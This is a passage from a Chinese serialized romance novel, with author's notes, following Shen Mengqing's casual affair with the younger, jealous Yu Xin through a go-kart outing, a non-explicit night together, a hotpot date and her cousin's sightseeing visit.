那个教练见自己被超车,不服气地想要追上去,没想到他一加速,身边一直并行的那辆车也加速卡在他前面,任他怎么使用技巧,都没办法越过它。 他骂骂咧咧了几句,技不如人,只能灰溜溜地跟在它后头。 之后的路程都十分顺利,沈孟青畅通无阻地通过了终点。 她玩得很尽兴,满足地摘下头盔下了车,这才发现李青河和祝绍明就在一边观战。 等她走了过来,李青河鼓掌说:“你比我开得好多了。” 沈孟青咧嘴笑了笑:“还行吧。” 余辛随后也来了,祝绍明见人到齐了,看热闹不嫌事大地说:“你要是喜欢玩赛车,下次可以坐一下余辛开的,他开车很厉害的,我们这最高纪录就是他。” 说完,他又补充说:“前两个记录都是他。” 沈孟青笑意淡了点:“我比较喜欢自己开,和别的人玩不太方便。” 她看了眼时间,向李青河说:“我先去把衣服换了。” 将近午饭时间,上午来的客人尽数走光了,女更衣室里只有她一个人,沈孟青换好衣服出去,等在门口的人却不是李青河,而是余辛。 大堂里的人也都去吃午饭了,祝绍明和李青河没了人影,余辛靠在门边,冷冷问她:“里面有人吗?” 沈孟青往更衣室里又看了眼,确认了后说:“没有。” 余辛松开腿走了进来,一只手关门上了锁,一只手揽住沈孟青,转身将她重重抵在门上。 他低下头,一点点朝沈孟青逼近。 “和别的人玩不方便?” 余辛一字一句地重复着她适才说过的话,停滞了几秒后,像是被放出囚笼的猛兽一般,攻势凶猛地朝沈孟青吻了下去。 他吻得毫无章法,却侵略性十足,沈孟青这会相信他比赛的时候一定收着劲玩了,若是把现在的力气放在先前赛车上,她肯定会被他狠狠碾压。 起初,沈孟青还下意识地尽量回应他,可余辛逐渐发了疯似的,在她唇瓣啃咬。 感受到唇角的刺痛,沈孟青眉毛一皱,泄愤地张嘴咬了回去,旋即抬起两手隔在余辛胸膛前,用力一推。 她边揉着微肿发麻的嘴唇,边怒瞪着余辛说:“你有病是不是!” 余辛轻笑一声,眼色阴暗。 他拽住沈孟青的右手,手指灵巧地扣进她五指之间的缝隙,力气大到快要捏碎沈孟青的指骨,而后十指紧扣着举到她眼前说:“你就忘了前几天用这只手帮我做了什么吗?怎么我就变成别的人了,和我玩赛车不方便,那做什么方便,现在去你家方便吗。” 沈孟青甩了甩手,想要挣脱开,却被他禁锢得更紧。 她卸了力,服软下来,抬头看他想要做什么。 余辛尽力把呼吸的速度放慢,问沈孟青说:“你和他什么关系。” “谁?”沈孟青明知故问。 余辛冷哼了声,烦躁地吐出那三个字:“李青河。” “哦,朋友而已。” 沈孟青眼神闪烁了下。 余辛凝视了她几秒,语调更凉了:“还不说实话。” 他又压下去,恶劣地想要咬她,沈孟青往后一缩,说:“我说我说,上次端午节回家,家里介绍相亲认识的。” 端午节? 记忆逐渐涌入余辛的脑海里,他记得那天的沈孟青,一袭清纯的白裙,上身还裹着个围巾,妆容明丽。 他印象深刻。 原来,她用心打扮成那样是为了见李青河,而不是为了赶来见自己。 余辛感觉自己完全陷入了一种陌生的情愫,似恨非恨,像是夹在两面墙之间,痒气被不断抽走,他的呼吸控制不了地变得紊乱,连心脏都在逐渐被压缩成指甲盖那么小,抬头一看,四周只剩黑压压的墙面,一点晴日天空的影子都看不见了。 为了争夺更多的氧气,他的心脏剧烈地挣扎着,血液翻涌,他浅棕色的眼眸中风云变幻,急需一个缓解窒息感的出口。 沈孟青穿的斜肩T恤露出了半个肩头,和回忆中她围巾滑落的画面重叠,余辛再也按耐不住,对着那块圆润瓷白的肌肤咬了下去。 肩膀隐隐作痛,沈孟青撞开他,侧头看见肩头微红的痕迹,伸手将衣服扯上来遮住,余怒未消地质问余辛说:“你到底想做什么?” 余辛得以报复后,乖戾散去了些,定定地说:“别和他见面了。” 沈孟青觉得他无理取闹,但还是耐着性子说:“他是我朋友,而且我们公司之间也有业务往来,怎么可能不见面。” “那就不要单独和他见面了。” “余辛,你……” 余辛再次举起仍然紧握在一起的手,说:“你不答应,我就不松开了。” 沈孟青和他大眼瞪小眼地相对站着,直到外面似乎传来了喧闹的声音,沈孟青还是忍不住慌乱起来,认输说:“好好好,我答应你。” 余辛微不可察地弯了下嘴角,语气却未变:“真的?” “嗯,这下可以放开我的手了吧。” 仿佛是不太相信她的话,余辛盯了她一会后,才慢慢收回手。 他勾头亲了下方才咬到沈孟青唇上的位置,像是盖章似的。 “不许食言。” 他说—— 作者有话说:忽然阴暗) 辛子还在回味端午节那天的姐姐嘎嘎,醋疯了 谁破防了无需多言[害羞][害羞] 辛子感觉快要兜不住了,所以表露得会多一点[害羞] 阿青是暗暗吃醋阴阳几句那种 嘎嘎嘎 明天过节更六千!![撒花][红心] 第23章 第二十三章 “要不要弟弟帮你。”…… 都怪余辛, 沈孟青在更衣室整理了很久,才看起来没什么异样地出了门。 她将单肩包换了个肩膀背,衣服斜边的方向也换了, 草草了事地遮掩住他留下的痕迹, 有点此地无银三百两的意味。 她出来前,余辛仍旧靠在门边, 两手揣进兜里, 没再看她。 听着她窸窸窣窣整理的声音, 他开口问道:“你等会去哪?” “……” 这问题问得直直拿捏住了她的七寸, 她本来答应了李青河一起吃午饭的,但余辛人就在这寸步不离地看着, 她哪敢再上李青河的车。 “回家。”她忿忿地说。 李青河和祝绍明正站在车前聊天, 沈孟青出来之后,瞧见祝绍明捏着根烟在抽, 便不是很想走过去。 见她来了, 李青河指了指自己的车示意她先上车,沈孟青连忙摆摆手,大声说:“不好意思,我突然有点事, 得先走了, 已经叫好车了。” 李青河愣了下, 迈步朝她走来, 说:“很急吗,你要去哪, 要不还是我送你吧,快一些。” 在这关头,余辛懒懒散散地走了出来, 在两人身边停下脚步,眯起眼看不远处的祝绍明,他神色自若,似是一点都不在意这两人。 沈孟青余光瞥见他,扯了下嘴角,拉出一个笑:“不用了,现在取消订单要罚钱。” 李青河劝说无果,只好可惜地作罢。 几分钟后,网约车在路边停下,沈孟青和几人挥手道别,撑伞顶着正午的太阳上了车。 车上的空调很足,沈孟青光溜溜两条腿吹得有些冷,她将伞盖在了膝盖上,聊胜于无地挡住吹来的冷风,手机埋在层层堆叠的伞面里,她翻捣了半天才找到。 屏幕一亮,余辛打了电话过来。 沈孟青还记着仇,眼下一看见他就烦,手指一划,毫不留情地将他电话挂断。 过了几秒,他不死心地又打了过来,沈孟青依旧摁下挂断。 就这么来来回回拨打关断了四五次,余辛才终于是放弃了,手机变回安静的状态。 司机从后视镜瞄了眼沈孟青,搭话说:“诈骗电话啊?” “不是。”沈孟青回答他道。 “我明白了,追求者。”司机一脸我懂我懂的表情,说,“还挺执着的。” 沈孟青笑了笑,懒得否认,把手机设置成了静音,靠在车窗边闭目养神。 玩了一上午赛车还没吃东西,她体力尽耗,饿得前胸贴后背,坐在后座都有些晕车,闭上眼却睡不着觉,精神恹恹一路坐到了小区。 进了家门,她先把身上被薄汗浸湿的衣服给换了,天气太热,她随手拿了件居家的白色蕾丝边吊带和灰色棉短裤穿着。照镜子的时候,沈孟青看见自己肩头的红痕,又忍不住赌气得暗骂了几句余辛,比狗还坏。 冰箱里还剩了些菜,她打算随便炒两个菜把午饭应付过去。 起锅烧油,沈孟青得心应手地将裹好面糊的肉块倒进锅里油炸,等炸熟后再复炸一遍,加入菠萝块、番茄酱和青红椒翻炒,收个糖醋汁,一盘菠萝咕咾肉就做好了,再水煮一个生菜,浇上些生抽,两盘菜很快端上了桌。 她刚把碗筷摆好,准备拍个照给姜羽看,门铃就响了起来。 沈孟青搁下手机,趿拉着拖鞋去开门,等她一望见余辛那张冷脸,下意识就想把门关上。 余辛反应极快地伸手撑住门,姿势像是半拢住沈孟青一般。 他垂下眼,淡淡然说:“真回家了啊。” “?” 沈孟青松开把门的手,抱起胳膊冷笑道:“来查岗的?” 她语气像带着炮仗,噼里啪啦火气十足,余辛也不再撑门,高高大大立在她跟前,明知故问地说:“生气了?” 沈孟青睨了眼他,转头进了屋,余辛顺势跟了进来,带上了门。 屋子里满是饭菜的香味,沈孟青在餐桌上坐下,自顾自地吃着,余辛在她对面坐下,大剌剌敞开腿,脚都伸到了她座位两边。 吃着吃着,沈孟青实在做不到无视余辛盯着她的视线,再好吃的菜都哽在喉咙里咽不下去,她把筷子一放,迎上他的目光说:“你来做什么。” “如果是别人敲门,你就穿这个去开门吗?”余辛语气冰冷。 沈孟青低头看了眼自己身上的衣服,虽然是露肤度高了些,胸前起伏的曲线尽显,但在夏天也没什么奇怪的。 她无语道:“这大热天的,我还套个羽绒服再开门?” 余辛自知理亏,瞥开眼,沉默下来。 一盘菜快吃到见底,沈孟青才发觉估计余辛也饿着肚子,便出声问他:“你要不要吃点。” 余辛回得很快:“不要。” 沈孟青懒得管这嘴硬的男人,把餐具收拾进了洗碗池,她按开水龙头,腰间忽地被人搂上,吓得她胳膊撞到了出水管,水花滋拉喷溅得到处都是,衣服上被打湿了几滴暗色,传来点点凉意。 余辛勾下头,浅浅吻了一下她的肩头,低声说:“要不要擦药?” 沈孟青正洗着碗,气极反笑:“擦什么药?” “消炎药。”余辛带着点认真地说。 沈孟青说:“怎么,怕我得狂犬病?” 见她怒火又被勾起来了,余辛哑然了片刻,环着她的手紧了几分,随即又说道:“为什么不接我电话。” “静音了。”沈孟青理直气壮。 “……” 沈孟青洗完了碗,用抹布将灶台擦得干干净净。见她收拾完了,余辛趁机将她翻了个身,直勾勾地面对他。 “能不能重新加回好友。”他音量极低,落在沈孟青耳朵里,像是在摇尾乞怜。 沈孟青抬起一根手指戳在他胸前,轻轻一施力就推开了他,她假装正经地说:“不行哦。” 她边往客厅走,边添油加醋道:“你和Lily聊去吧,她肯定会接你的电话。” 听见她这话,余辛反而闷笑了起来,拉住她瘦削的手腕,不让她离开:“我现在就把她删了。” “删什么删。”沈孟青扭回头瞪他,“你是不是就喜欢删人?而且,就算删了她,谁知道你好友列表里是不是还有什么Vivi、Kiki的。” 说完这话,沈孟青有些后悔。 她有什么立场去和余辛纠结这种问题呢,他们又不是情侣关系,不过是两条偶尔脱离原本生活轨迹产生交点的线条,在这之后,又会相互远离。 “随你吧。”她语调变得漠然。 天空中有一片阴云飘过,遮住了阳光灿烂的日头,厨房里也随之暗了几分,沈孟青没开空调,余辛宽大的身影挨着她,发烫的手掌还捏着她手腕,室温不断上升,热得她有些难耐。 就在她想让余辛放手的那一刻,余辛松开了她的手腕,顺着她肌肤细腻的胳膊渐渐上滑,停留在颈窝处。 他伸出大拇指摩挲了几下她粉嫩的唇瓣,随后,轻柔地落下了吻。 和上午的他全然不同,这会他十分耐心地一点一点跟着沈孟青的节奏走,仿佛生怕将她磕着碰着,悉心地爱护着这朵温室里灌养的娇花。 挺久没和他做了,沈孟青居然久违地有点紧张,心脏好似一只找不着方向的小鹿,在胸腔里横冲直撞,鲜活地跳动着。 衣角的蕾丝边被托起,余辛将她抱了起来,沈孟青睁圆了眼,陡然上升的高度令她不由自主地熊抱住余辛,两人高低位置互换,嘴巴打架一般地吻着,循着墙壁进了卧室。 将她放在床上后,余辛胳膊肘抵在她脸旁边,凑到她耳侧,低沉着嗓音说:“要不要弟弟帮你。” 在反应过来他的话意后,沈孟青的脸瞬时涨红了,绯色蔓延到了耳尖,她拍了下余辛,羞赧地说:“不要。” “真不要?”余辛问她,语调蛊惑,坏得很。 沈孟青斩钉截铁:“不要!” 余辛一挑眉:“行。” 他拉开床头柜,里头的烟全不见了。 边拆着包装袋,他边勾唇说道:“你还真扔了啊。” 沈孟青说:“藏起来了而已,那可都是钱,我没那么浪费。还不都是因为你,平白给我找事。” “你放回来吧,我戒了。” 沈孟青才不相信抽烟的人说自己戒烟了这种话,她正想回怼几句,余辛一个俯身下来,将她的嘴堵了回去,搅碎了她所有想说的话。 …… 再睁开眼时,已经到了傍晚,太阳的光线变得不再热烈,和煦地照耀下来,为温和似水的夜色做着铺垫。 小区里尽是锅碗瓢盆碰撞的声音,家家户户备着晚饭,仔细一嗅,还有阵阵菜香传来。 沈孟青转了个身,余辛也被她的动静吵醒,悠悠凝视着她。 她望见余辛又冷着张脸,心下一动,伸手捏了一把。出乎意料的是,手感竟然还挺好的,人看着硬邦邦一冰块似的,脸倒是软得很。 余辛脸上作痛,眉骨一皱,咬着牙从齿缝里挤出一句:“沈孟青,拿走你的手。” 沈孟青犟着劲说:“我不。” “很好。” 余辛两手一抬,对着她肋下挠了过去,沈孟青投降地裹进被子里。 她卷得跟个粽子似的,余辛根本下不了手,只能回敬地用虎口覆住她的嘴,也掐了下她的脸,没想到她这人看着脸圆圆的,捏起来根本就没什么肉。 “不好捏。”余辛撤下了手。 沈孟青眨了眨眼,见他束手无策没办法回击她,坏笑起来。 被子几乎全被她卷走,余辛穿着个纯黑色的T恤什么都没盖,虽然是在炎炎夏日,但他还是和飞蛾扑火般不嫌热,往前一靠抱住沈孟青,把她当暖宝宝使。 过了会,沈孟青倒是先憋不住的,边喊着不行了不行了,热得踢开了毯子,四仰八叉地躺着。 余辛得逞地抬手勾住她的下巴,又细细密密吻了下去。 闹腾了半天,沈孟青肚子饿得咕咕叫,催促着她起床吃饭。 她已经没有力气再下厨炒菜,戳了下余辛说:“我饿了。” 余辛从床上坐起来,划拉着手机屏幕,说:“那出门吃饭吧。” “等会。” 沈孟青看向他,这才发现他后脑勺发尾末端有一块暗色,她摸了摸,是干涸已久的血迹。 她当即起身,问余辛说:“你这里怎么受伤了?” 余辛反过手胡乱抓了半天,也没找到伤口在哪,沈孟青便牵住他的手,引导他摸上那块受伤的位置。 “哦。”他不以为意地说,“我爸砸的。” 沈孟青表情夸张地说:“你爸家暴啊?你不是说他生病了吗,怎么还有这么大的劲。” 余辛和他爸的关系是有多不好,人生病这么脆弱的时刻,还对亲生儿子下重手。 “习惯了。”余辛很快将话题掩过,说,“出门吧?” “我还没换衣服呢。” 上午出门的衣服已然被她扔进了洗衣机里,她只能再挑一件穿上,沈孟青打开衣柜柜门,将衣架拨来拨去挑衣服,衣架碰撞的声音清脆作响,余辛两手撑在床上地坐着,叉开腿看她挑衣服。 当她的手指拨过那件和李青河相亲穿的白裙时,余辛的眸色闪过抹暗色,沉沉问她:“你家里人为什么要你相亲?” 沈孟青语气轻松地说:“儿行千里母担忧呗,我妈总是害怕我一个人在北城会吃苦,想要有个人陪着我,不然她不放心,正好她认识李青河爸爸,就这么凑巧地见了一面。” 余辛:“她很急着让你结婚?” 沈孟青叹了口气:“你可能理解不了二十八岁的女人会被家里催婚成什么样。” 余辛:“那也不能什么人都见。” 她抿起嘴,懒得和余辛这棵年华正好的小青葱掰扯。 挑了半天衣服后,沈孟青忽然感觉太浪费时间了,便随手抓了件T恤和牛仔裤,转过身,余辛还直勾勾看着她。 她朝门口扬了下下巴:“出去,我要换衣服。” 余辛沉默了几瞬,说:“不穿裙子么?” 沈孟青觉得他脑子短路了,叉腰把他轰出了房间。 两人下了楼,钱大爷和他老伴正坐在楼道口的树荫底下纳凉,见这一双年轻靓丽人出来了,笑着打了个招呼。 沈孟青也不知是怎么了,明明二十八岁多的人,和余辛走一起被这些爷爷奶奶撞见,竟然有种上学时被抓到早恋的羞耻感,以前和林向阳恋爱时她也没这样过,想来是余辛年纪比她小的缘故。 走着走着,沈孟青眼尖地在路边看见一个眼熟的东西,她凑到草丛里拈下一朵小黄花,说:“原来你在这里摘的啊。” 余辛飘飘然睨了眼,装作听不懂似的继续往前走。 他的车依旧停在小区门口,沈孟青决定下回给小区物业登记一下他的车牌,免得天天给管理这条商业街的人打款巨额停车费。 坐上了车后,她把小野花摆在了车子的挡风玻璃前,给这辆全黑的汽车添上了一抹明艳的黄色,像是一只意外闯入的小精灵。 “去哪吃。”余辛启动了车,边问道。 沈孟青想了会:“想吃火锅,我知道附近就有一家。” 她给余辛指着路,开车不过几分钟就到了,这火锅店在一座商场里头,是酸辣口味的,夏天吃比较开胃,再配上一碗水果口味的冰沙,特别舒爽。 两人在店里坐下,店员很快递来张宣传单,笑着看向他们说:“美女帅哥好,我们店正在办七夕活动,你们作为到店的情侣可以参与抽奖,中奖率是百分百的,有很大机会抽中77折哦!” “啊。” 沈孟青看向余辛,纠结着要不要开口否认他们的关系,拒绝参与这个活动,余辛的视线也落在她身上,看他眼神仿佛在无声地说她想玩就玩他无所谓。 算了,七七折也是钱,沈孟青在店员拿着的抽签筒里捏出一个签,展开一看,上头写着: “10元优惠券加拍立得相片一张。” 她把纸条还给店员,正想说优惠券可以使用,相片就不必了,不料店员径直开口道:“好的,咱们抽到了一个十元优惠券和免费拍立得相片一张,两位是想现在拍还是吃完了之后拍呢?” 沈孟青向余辛眨了眨眼,表示自己没有想和他拍照片的意思,余辛却没看她,很快把目光移向店员,冷声说:“现在吧。” “?” 沈孟青愣神着看他,没想到他会应下。 店员架起了拍立得,从取景框里确认着余辛和沈孟青的位置,不停出声让他们靠近些,别太局促了。 沈孟青的心莫名其妙地乱了起来,犹如找不准节拍的鼓点,虽然她和余辛把情侣之间做的事几乎全部做了遍,但却完全不是情侣的关系,即便有那么多个身体相贴的夜晚,眼下不小心碰到手的时候,她还是有种陌生又新鲜的感觉。 明明周围没有一个人注意到他们,但她的心情像是被起哄着和暧昧对象凑一块般地紧张,不自觉咽了下口水,在闪光灯亮起的那一秒,她鬼使神差地伸手捏住了余辛的脸,咧嘴一笑。 感受到余辛投射来的凌厉视线,沈孟青心虚地咳了声,接过了店员递来的还未成像的相片。 她将相片放在掌心,又捂又哈气地给它加热,画面渐渐由模糊的暗灰色变得多彩起来。 这张相片定格的时刻刚刚好,她笑得甜美灵动,眼里泛出灯光映射的光亮,而余辛神情冷淡,眼尾微挑地看着镜头,本来是一副拽酷的模样,却被她捏脸的动作给打破了,显得有些傲娇可爱。 不过还是有个小遗憾,沈孟青撇撇嘴说:“早知道我真的穿裙子了,我们俩这T恤跟黑白双煞一样。” 余辛扫了一眼照片,抬手想要从她手里抽走,沈孟青急忙塞进了裤兜里,怕他不喜欢拍下被捏脸的时刻,直接把这珍贵的照片给扔了。 “点菜吧点菜吧。” 沈孟青转移他的注意力,把菜单往他面前一推。 下单好了菜,沈孟青看了眼单据,百分之八十的菜都是她选的,余辛和挑剩菜似的随便点了两三样,沈孟青抬眼问他:“你没食欲吗?” 余辛点了下头,头顶的灯光照出他锋利的鼻梁和深邃的眼瞳。 “可是你中午也没吃饭。” 沈孟青想起以前自己给他做馄饨和面条时,他也没这么厌食,倘若她天天食欲这么差,都不知道要瘦多少斤。 她脑海中浮现起余辛那略带训练痕迹的薄肌,好奇地说:“你都不吃东西,怎么练的肌肉?” “天生的。”余辛话音一停,又说道,“也可能是别的运动做多了。” 挺正常的一句话,但落在沈孟青和上菜的年轻小姑娘耳朵里都变了味,见上菜的女孩脸色红透了,沈孟青咬牙在桌下踹了余辛一脚。 余辛无辜地摊了摊手,他可没有别的意思。 刚吃几口肉,姜羽就给沈孟青发来了消息,她发了张在西餐厅吃饭的照片,说: 「和我爸妈来餐厅吃饭,结果四周全是来过七夕节的情侣,我恨。」 沈孟青故意使坏地拍了下桌上的火锅,角落里余辛的手不经意地出镜。 「我也在外面吃饭呢。」她说。 很快,姜羽发来好几条消息。 「?!」 「怎么有男人的手!」 「你背叛我脱单了?什么时候的事,为什么不告诉我。」 沈孟青晾了姜羽十几分钟,直到弹出无数条问她对面是谁的消息,她才悠哉哉回复说: 「我点的男模,你来吗。」 姜羽:「?」 「你和男模杠上了。」 过了会,她又说: 「有没有好的,联系方式发我一下」 沈孟青:「没有,我只认识这一个。」 她放声笑了出来,收起手机,没再看消息- 八月过得很快,日复一日的炎热下连他们销售部的人都不愿出去跑外勤,窝在办公室里吹空调,能用电话解决的事就靠电话,多挪动一步都嫌烦。 部门里最忙的人又变成了沈孟青,全因今年夏天愈生研发出了新型的防蚊虫药,梁军在会议上敲了半天笔,目光从每个人身上掠了一遍,最后还是点了沈孟青负责。 三姨的儿子今年考上了北城的大学,月底打算提前几天过来玩,沈孟青为了能连休那几天年假,把这工作接了下来,没了齐书盈帮她干活,奔波之中她经常累到在出租车上睡着,和那些来旅游的游客无异,上车睡觉,下车简单在一个地方待会儿就走。 表弟在八月二十三号坐火车到了北城,等接到他已经是晚上八点了。 沈孟青的家里有多出来的一个房间,平常她用来放杂物了,这次她特意收拾了出来,还放了张折叠床在里头,多垫了几床软垫,睡起来和平常的床区别不大,至少比他要去睡的宿舍里的床好。 表弟叫郝奇思,从小爸妈就离婚了,他跟着沈孟青三姨姓,也就是和她妈妈姨妈们都一个姓氏。 郝奇思看起来比端午节回去那次还蹿了点个子,一米八是有了,看着比余辛应当是矮一些。人黑黑壮壮的,烫了个他们这年纪正流行的锡纸烫,大logoT恤,亮色的耐克运动鞋,有种想把所有潮流元素搭在身上的用力感。 沈孟青帮他把行李箱推进了房间,靠在门边说:“这三个晚上你就睡这,二十六号下午把你送去学校。” “谢谢姐。” 郝奇思一进屋里就把包一放,顺手准备把门关上,见沈孟青还不走,他说道:“姐,你不用管我,我先和同学上个号,别吵着你。” “……” 沈孟青感觉到了深深的代沟,情绪复杂地替他带上了门。 第二天上午,沈孟青特意早起给郝奇思煮了碗面,十八九岁的男孩正是长身体的年纪,胃口和黑洞似的,郝奇思足足嚯嚯了两碗才吃饱。 他有些不好意思地想帮沈孟青一起洗碗刷锅,但在她这狭窄的厨房里,郝奇思的体型太占位置了,沈孟青行动受阻到经过他换块抹布都难,便还是让他出去等着了。 郝奇思无事可干地帮她擦了擦餐桌,而后用投篮的姿势将从餐巾纸扔进了垃圾桶。 正巧,门铃响了起来,他终于找到事做一般,朝沈孟青高呼说:“姐,我去开门!” 郝奇思小跑几步将门打开,看清门口站着的冷脸帅哥后,他呆了又呆。 沈孟青听见动静,边擦手边走了出来,一眼看见这两人相顾无言的画面。 郝奇思率先转过头,眼里闪起八卦的火苗,对她挤着眉毛发问:“姐,这谁啊?” “这是……” 沈孟青大脑飞速运转起来:“这是我给你找的导游。”—— 作者有话说:今天国庆节多更一章!大家假期愉快啊啊!![撒花] 辛子助人为乐未成功版,等下次再努力嘻嘻[菜狗] 阿青:他是导游 辛子:?到底要给我安排多少份工作 第24章 第二十四章 “你很闲啊?” 余辛还没反应过来, 郝奇思就拉着他到客厅坐下,喋喋不休地向他抛出一个又一个问题,譬如北城哪里比较好玩, 年轻人周末都爱做什么, 哪个网吧的网速比较快。 余辛被问得脑袋发涨,冷冷扫了眼沈孟青这个罪魁祸首, 沈孟青连忙喊他去帮忙端杯水, 替他脱身。 她拿出杯子, 在水龙头底下冲干净, 余辛在她旁边,斜斜靠在桌子上, 说:“导游?” 沈孟青干巴巴笑了笑, 说:“这不是一下没想起来怎么介绍你。” 为了遮盖住他们说话的声音,沈孟青刻意将水倒得很慢, 她低声说:“所以你来找我是?” 余辛没有回答她这个答案很明显的问题, 转而问她道:“那等会我走了,你怎么解释。” “就说这单吹了呗,我本来就打算等会去租辆车带他玩儿的,” 刚好倒完了两杯水, 她看向余辛说:“你趁现在走吧, 再不走我弟真把你绑去做导游了。” 余辛站定看了她会, 随即出了厨房, 目不斜视地出了门。 等沈孟青端着水出来,郝奇思不解地问她说:“姐, 那导游哥怎么走了?” “最近旅游的人多,有人出了更多的钱把他叫走了,不做我们的生意了。”沈孟青把水递给郝奇思, 说,“喝几口水我们就出门吧。” 郝奇思啧啧了两句,说:“这哥长得还挺帅,没想到这么见钱眼开。” 两人简单收拾了下东西,便出了门,才刚跨出这栋楼,郝奇思就敏锐地捕捉到余辛靠在车边刷手机的身影。 他急忙扯了把沈孟青,朝余辛那方向挤眉弄眼了几下,小声说了句:“姐,你等我去问问他。” 郝奇思跟黑旋风似的,沈孟青想拽都拽不住,一溜烟就跑到了余辛身边,他抱起胳膊说:“哥,你是不是也被人跑单了啊。” 余辛抬起头:“?” “你收费太高人不想要你了吧,所以你就不该为了那三瓜俩枣跑去找别人,做我们生意多好。”郝奇思惋惜地叹了口气,说,“要不这样吧,还是原先谈好的价格,你继续做我们的导游,怎么样?” 沈孟青把他拉开,小声说:“不用找他了,我联系好了租车的,我带你玩。” 郝奇思回她说:“租车也贵,你还得开几天车,多累啊!再说了,你平常工作那么忙哪知道北城好玩的地方在哪,我看这哥面相,就知道他一定很懂玩。” 沈孟青无语,正想再劝两句,身后飘来一句:“好啊。” “哥,我就知道你是个会做生意的。” 郝奇思握拳在胸前捶了下,三两步上了余辛车的后座。 沈孟青觉得余辛脑子有坑,她走到他跟前,低声咬牙切齿地说:“你很闲啊?” “嗯。”余辛把手机揣回兜里,提脚上了车。 郝奇思把车窗降下,朝沈孟青指了指这车,完全不避着车主地高呼说:“姐,我靠,劳斯莱斯!” 沈孟青:“……” 她怎么突然有点头疼。 坐上了车后,郝奇思怼着脑袋后logo自拍的声音以一秒五六次的速度在车里响起,沈孟青转头瞪了他眼,隐忍着说:“别拍了。” 郝奇思挠了挠头,把手机设置成静音,悄悄摸摸在后头又摆拍了几张,挑了张发朋友圈。 他满意地看完了照片,把手机一放,扒住座椅后背往前一移,对余辛说:“哥,你这么有钱还出来做导游啊。” 余辛没说话,但沈孟青从他的表情里看出来了,他一定后悔说了那句好。 郝奇思丝毫不在意余辛冷淡的态度,自顾自地说着:“我懂了,我刷到过挺多帖子的,你肯定是那种本地拆迁户,家里几套房在收租,待得无聊了就出来做些兼职。” “唉。”郝奇思往后一靠,“简直就是我毕业后的理想职业。” 沈孟青嘴角抽了下,说:“你先好好上学吧,咱们家可没有房子给你拆迁。” 郝奇思有句话说的对,沈孟青确实不知道北城哪里好玩,她还是昨天晚上在网上搜了堆旅游攻略,看来看去都是些名胜古迹和小吃街,她随便排列组合了一下往这几天的行程里塞。 白天景点,晚上夜市,吃喝玩乐都照顾到了。 这天她安排的是去个古代宫殿遗址,八月末的人潮未减,一拨一拨的旅游团摩肩接踵着,中间夹杂着这三人一样的散客。 检完门票进去,郝奇思便兴奋地到处游览起来,一开始,他还期待着余辛的解说,可发觉余辛跟个来参观的少爷样根本不搭理他后,他只好溜到别的旅游团队尾去,蹭别人的导游讲解。 沈孟青被他抛在后头,亦步亦趋地跟着余辛。 “喂。”她走向前去和他并肩,“你这导游行不行啊,一点解说都没有。” 余辛斜了她眼,说:“真把我当导游啊。” 他都是第一次来这。 这时,旁边有几个玩闹的小孩在人群里乱窜,眼见着就要撞上沈孟青,余辛伸手扶上她的胳膊,往自己里侧一拉,沈孟青的背窝抵住他坚实的臂膀,躲过了小孩的碰撞。 他很快松开手,让沈孟青走在靠墙的一侧,继续说道:“我之后几天都有事,你还是得自己租车。” “行。” 沈孟青说。 换了位置后,外边拥挤的人流都被余辛隔开,到了室外,凉风一吹,他身上的幽香随着风席卷而来,沈孟青落后了几步,看向他后脑勺。 之前被他爸砸出的伤口已然愈合,只是留下了一块暗色的疤,沈孟青下意识用食指碰了下,在余辛疑惑地转过头后,她说: “你可以擦点疤痕用的药。” 余辛无所谓地说:“不用。” “而且,我自己擦不到。” 自从他爸妈离婚之后,他小时候磕着碰着了从来都不会和家里人说,更别说哭了,对他来说,眼泪是最没用的东西,在余莫成面前,他永远在较着劲的逞强。以前在家的时候,陈姨如果发现了他身上有伤处,便会抓着他强制处理伤口,大部分时候,他就静静地等着血液干涸,痂痕掉落。 反正最后都会好的。 既然他都不在意,沈孟青也不再说什么,她扭头看见玻璃罩子里的展览品是个泥塑小人,长得奇奇怪怪的,眼睛小嘴唇厚。 她停下脚步,弯下腰仔细看了看,憋着笑说:“你看,和你长得一模一样。” 余辛瞥了眼,勾头在她耳边小声说:“如果我长这样,你会在便利店要我联系方式?” 沈孟青一噎,较真地说:“我那是为了还你钱,欠一个陌生人钱多不好啊。” “嗯,为了还钱。” 余辛一副心知肚明的神色,两手抄兜往前走。 沈孟青感觉他狗尾巴又翘起来了,几步跟了上去,故意争辩说:“要联系方式又怎么样,反正你也会删掉好友。” 这话成功地还击了他,余辛缄默了会,说:“我把祝绍明他堂妹删了。” 他语气格外的认真,听得沈孟青飘飘然的,身在这古宫殿中,有种自己成了皇上,余辛来表忠心的错觉。 “哦。”沈孟青压了压笑意。 走到一处相对僻静的廊道,郝奇思早就不见了踪影,沈孟青倒不太担心,反正有电话,年轻人自己玩去也好。 廊道阴凉,待在这比其他地方舒爽多了。沈孟青靠在朱红色的廊柱上,揉了揉有些发酸的小腿,余辛就站在她对面,背靠着栏杆,低头看着手机屏幕,指尖偶尔滑动一下。 她没话找话地问他:“你过几天有什么事。” 余辛模棱两可地说:“家里的事。” 她又问:“你爸爸身体情况怎么样了?” “好些了。” 两人就这么一问一答了没几句,沈孟青再想不出新的话题,气氛转瞬安静了下来。 从约定好这种关系的那一天起,他们好像就不约而同地达成了一种默契,不会过度参与对方的现实生活。 见面的时候就做该做的事,不见面的日子里,也从不会给对方发任何越界的消息,如今想想,好像连朋友的关系都算不上,至少朋友会经常嘘寒问暖,分享些生活里开心或是烦恼的事。 可是,某种程度上来说,他们又比朋友更进一步,亲密得多,那是身体潜意识里的熟悉感。 她知道余辛心情烦郁的时候会不自觉摩挲食指的第二根指节,余辛也总是能察觉到她失落的时刻,用不宣之于口的方式,接住下坠的她。 即便是在偶尔心动的瞬间,她也能安慰自己,他们的关系本来就会激发很多荷尔蒙,是激素在偷偷作祟。 只要不去想结局,只要没有人打破平衡,她就能欣然度过维持这段关系的每一天。 但是,沈孟青忽地想起余辛对于李青河的过度在意,她最近好像有点拿不准余辛的一些举动了。 郝奇思突然的出现将她出走的思绪抓捕归笼,他举了举手里一把挂件,说:“姐,我买了些纪念品,打算开学的时候送给舍友,给你们俩也买了。” 他把手里的东西一摊,是各式各样的香囊挂件,上面写了些吉祥祝福的词语,沈孟青随手挑了个颜色清新的,她扭头见余辛没有要选的意思,便挑了个写着安康两个字的挂件,径直塞进了他手里。 郝奇思瞧见他姐的小动作,没想到他俩才逛了一个上午就熟成了这样。 他掏出手机,对余辛说:“哥,咱俩加个微信不,下回有导游的活我还喊你。” 沈孟青脸色一黑,开口替余辛拒绝说:“不用加,你和我说我帮你找他……” 